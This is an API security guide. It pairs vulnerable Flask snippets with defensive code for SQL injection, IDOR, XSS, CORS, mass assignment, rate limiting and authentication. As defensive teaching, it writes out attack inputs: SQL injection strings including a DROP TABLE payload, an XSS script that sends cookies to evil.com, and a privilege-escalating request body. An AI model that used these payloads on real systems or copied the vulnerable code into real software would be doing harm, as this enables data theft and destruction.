Your API is your attack surface. Every endpoint you expose is a door that attackers will try to open. In 2025, API attacks increased by 681% (Salt Security report). This guide shows you exactly how hackers attack APIs and how to defend against each attack — with real exploit examples and defense code.

The Top API Attack Vectors

Top 10 API Attack Vectors (OWASP API Security Top 10)
1. Broken Object-Level Authorization (BOLA)
Access other users' data by changing IDs in the URL
2. Broken Authentication
Weak tokens, no expiry, credential stuffing
3. SQL Injection
Inject SQL through input fields to read/modify database
4. Cross-Site Scripting (XSS)
Inject JavaScript that executes in other users' browsers
5. Rate Limit Bypass
Overwhelm the API with requests (brute force, DDoS)
6. CORS Misconfiguration
Allow unauthorized domains to make API requests
7. Mass Assignment
Send extra fields to elevate privileges (role: admin)

1. SQL Injection — The Classic Database Attack

How the attacker thinks: "If I put SQL code in this input field, will the server execute it?"

# ❌ VULNERABLE: String concatenation in SQL
@app.route("/api/users")
def get_users():
    search = request.args.get("search", "")
    # Attacker sends: search=' OR '1'='1
    query = f"SELECT * FROM users WHERE name = '{search}'"
    # Becomes: SELECT * FROM users WHERE name = '' OR '1'='1'
    # Returns ALL users! The attacker now has your entire user database.
    results = db.execute(query)
    return jsonify(results)

# Even worse — the attacker can MODIFY data:
# search='; DROP TABLE users; --
# Becomes: SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
# Your users table is gone.
# ✅ DEFENSE: Parameterized queries (ALWAYS)
@app.route("/api/users")
def get_users():
    search = request.args.get("search", "")
    # Parameters are NEVER executed as SQL — they're treated as data
    query = "SELECT * FROM users WHERE name = ?"
    results = db.execute(query, (search,))
    return jsonify(results)

# With an ORM (even safer — no raw SQL at all):
users = User.query.filter(User.name.ilike(f"%{search}%")).all()

# Defense checklist:
# 1. NEVER use f-strings or .format() in SQL queries
# 2. ALWAYS use parameterized queries or ORM methods
# 3. Use least-privilege database users (read-only for read endpoints)
# 4. Enable WAF (Web Application Firewall) to block common SQLi patterns

2. Broken Object-Level Authorization (BOLA/IDOR)

How the attacker thinks: "If I change the user ID in the URL from my ID to someone else's, will the API let me see their data?"

# ❌ VULNERABLE: No ownership check
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
    # Attacker is user 5, but requests /api/orders/999 (user 3's order)
    order = Order.query.get(order_id)
    return jsonify(order.to_dict())
    # Returns user 3's order! No check if the requester owns it.

# ✅ DEFENSE: Always verify ownership
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
    order = Order.query.get(order_id)
    if not order:
        return jsonify({"error": "Not found"}), 404
    # CRITICAL: Check ownership
    if order.user_id != current_user.id:
        return jsonify({"error": "Forbidden"}), 403
    return jsonify(order.to_dict())

# Better: Always filter by user at the query level
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
    order = Order.query.filter_by(
        id=order_id,
        user_id=current_user.id  # Can ONLY see own orders
    ).first_or_404()
    return jsonify(order.to_dict())

3. Cross-Site Scripting (XSS)

How the attacker thinks: "If I submit JavaScript as my username, will it execute when other users view my profile?"

# ❌ VULNERABLE: Unescaped output
# Attacker sets their name to: <script>fetch('https://evil.com/?cookie='+document.cookie)</script>
# When any user views the attacker's profile, their cookies are stolen!

# ✅ DEFENSE: Multiple layers

# Layer 1: Escape all output (frameworks do this by default)
# Angular: Safe by default — [innerHTML] is sanitized
# React: Safe by default — JSX escapes values
# Django: {{ value }} auto-escapes HTML
# NEVER use: [innerHTML]="untrustedData" or dangerouslySetInnerHTML

# Layer 2: Content-Security-Policy header
# Prevents inline scripts from executing even if injected
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

# Layer 3: HttpOnly cookies (can't be read by JavaScript)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

# Layer 4: Input validation
def sanitize_input(text):
    """Strip HTML tags from user input."""
    import bleach
    return bleach.clean(text, tags=[], strip=True)

4. Rate Limiting — Stop Brute Force & DDoS

How the attacker thinks: "If there's no rate limit, I can try 10,000 passwords per second on the login endpoint."

Rate Limiting Strategies
Application-Level
🔐Login: 5 attempts / 15 min
📡API: 100 requests / min / user
🔍Search: 30 queries / min
📧Password reset: 3 / hour
Infrastructure-Level
🛡WAF: Block known attack patterns
🌐CDN: Absorb DDoS at the edge
🔒IP rate limit: 1000 req/min/IP
Geo-blocking: Block suspicious regions
# Python: Rate limiting with Flask-Limiter
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"],
    storage_uri="redis://localhost:6379",  # Use Redis for distributed rate limiting
)

# Strict limit on login
@app.route("/api/auth/login", methods=["POST"])
@limiter.limit("5 per 15 minutes")
def login():
    # After 5 failed attempts, return 429 Too Many Requests
    pass

# Different limits per endpoint
@app.route("/api/search")
@limiter.limit("30 per minute")
def search():
    pass

# nginx rate limiting (infrastructure level):
# limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
# location /api/ {
#     limit_req zone=api burst=20 nodelay;
#     limit_req_status 429;
# }

# Return proper headers so clients know the limits:
# X-RateLimit-Limit: 100
# X-RateLimit-Remaining: 43
# X-RateLimit-Reset: 1712345678
# Retry-After: 30

5. CORS Misconfiguration

How the attacker thinks: "If the API allows any origin, I can make requests from my malicious website using the victim's cookies."

# ❌ VULNERABLE: Allow all origins
from flask_cors import CORS
CORS(app, origins="*", supports_credentials=True)
# ANY website can now make authenticated requests to your API!
# Attacker creates evil.com with JavaScript that calls your API
# using the victim's cookies. The API happily responds.

# ✅ DEFENSE: Whitelist specific origins
CORS(app, origins=[
    "https://app.example.com",
    "https://admin.example.com",
], supports_credentials=True)

# nginx CORS headers (manual control):
# add_header Access-Control-Allow-Origin "https://app.example.com" always;
# add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
# add_header Access-Control-Allow-Headers "Authorization, Content-Type" always;
# add_header Access-Control-Allow-Credentials "true" always;

# CORS rules:
# 1. NEVER use origins="*" with credentials=True
# 2. Whitelist only YOUR frontend domains
# 3. Don't reflect the Origin header back (common misconfiguration)
# 4. Restrict allowed methods (don't allow DELETE if not needed)

6. Mass Assignment / Over-Posting

How the attacker thinks: "What if I add extra fields to the request body that I'm not supposed to set?"

# ❌ VULNERABLE: Accept all fields from request
@app.route("/api/users/me", methods=["PATCH"])
@login_required
def update_profile():
    data = request.json
    # Attacker sends: {"name": "Hacker", "role": "admin", "is_verified": true}
    for key, value in data.items():
        setattr(current_user, key, value)  # Sets EVERYTHING including role!
    db.session.commit()
    return jsonify(current_user.to_dict())

# ✅ DEFENSE: Explicit allowlist of updatable fields
ALLOWED_FIELDS = {"name", "email", "avatar_url", "bio"}

@app.route("/api/users/me", methods=["PATCH"])
@login_required
def update_profile():
    data = request.json
    for key, value in data.items():
        if key in ALLOWED_FIELDS:  # Only allow safe fields
            setattr(current_user, key, value)
        # "role", "is_admin", "is_verified" are silently ignored
    db.session.commit()
    return jsonify(current_user.to_dict())

# Even better: Use Pydantic/Marshmallow schemas
from pydantic import BaseModel

class UpdateProfileRequest(BaseModel):
    name: str | None = None
    email: str | None = None
    bio: str | None = None
    # role, is_admin NOT in schema = impossible to set

7. Security Headers — The Free Defense Layer

# Every API response should include these headers:

# nginx configuration:
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "0" always;  # Disabled — use CSP instead
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

# Python (Flask middleware):
@app.after_request
def add_security_headers(response):
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['Strict-Transport-Security'] = 'max-age=63072000'
    response.headers['Content-Security-Policy'] = "default-src 'self'"
    return response

8. API Authentication Hardening

# JWT Best Practices:

# 1. Short-lived access tokens (15 min)
# 2. Refresh tokens stored in HttpOnly cookies (not localStorage!)
# 3. Token rotation — new refresh token on each use
# 4. Revocation — maintain a blocklist for compromised tokens

# ❌ BAD: Long-lived token in localStorage
localStorage.setItem('token', jwt)
// XSS can steal this token!

# ✅ GOOD: HttpOnly cookie (JavaScript can't access it)
Set-Cookie: access_token=eyJ...; HttpOnly; Secure; SameSite=Strict; Path=/api; Max-Age=900

# Password rules:
# - Minimum 12 characters
# - Check against breached password databases (HaveIBeenPwned API)
# - bcrypt or Argon2 for hashing (NEVER SHA-256)
# - Account lockout after 5 failed attempts (with exponential backoff)

9. WAF (Web Application Firewall)

A WAF sits between the internet and your API, blocking common attacks before they reach your code:

WAF: Defense in Depth
👾AttackerMalicious request
🛡CDNDDoS protection
🔒WAFBlock SQLi, XSS, bots
Rate LimiterThrottle abuse
Your APIClean traffic only
# AWS WAF rules example:
# 1. Block SQL injection patterns (AWS managed rule)
# 2. Block known bad IPs (AWS IP reputation list)
# 3. Block requests with no User-Agent
# 4. Rate limit: 2000 requests/5min per IP
# 5. Geo-block countries you don't serve
# 6. Block requests larger than 8KB to login endpoints

# Cloudflare WAF (simpler setup):
# - Enable "OWASP Core Rule Set" (blocks top 10 attacks)
# - Enable "Bot Fight Mode"
# - Set rate limiting rules per endpoint
# - Enable "Under Attack Mode" during DDoS

Complete API Security Checklist

API Security Checklist
Category Defense Priority
AuthenticationShort-lived JWTs, HttpOnly cookies, MFA, bcrypt/Argon2Critical
AuthorizationCheck ownership on every endpoint, RBAC, no BOLA/IDORCritical
Input ValidationParameterized SQL, Pydantic schemas, sanitize all inputCritical
Rate LimitingPer-user and per-IP limits, stricter on auth endpointsHigh
CORSWhitelist origins, no wildcard with credentialsHigh
Security HeadersHSTS, CSP, X-Content-Type-Options, X-Frame-OptionsHigh
TLSHTTPS everywhere, TLS 1.2+ minimum, HSTS preloadCritical
WAFAWS WAF, Cloudflare, or ModSecurity with OWASP rulesHigh
LoggingLog all auth events, failed requests, unusual patternsMedium
Dependency ScanningSnyk/Dependabot in CI, patch critical CVEs within 24hMedium

API security is not a feature you add at the end — it's a practice you embed from day one. The attacks in this guide are not theoretical — they happen every day to real APIs. Start with the critical items: parameterized queries, ownership checks, rate limiting, and proper authentication. Then layer on WAF, security headers, and monitoring. Every defense you add makes the attacker's job exponentially harder.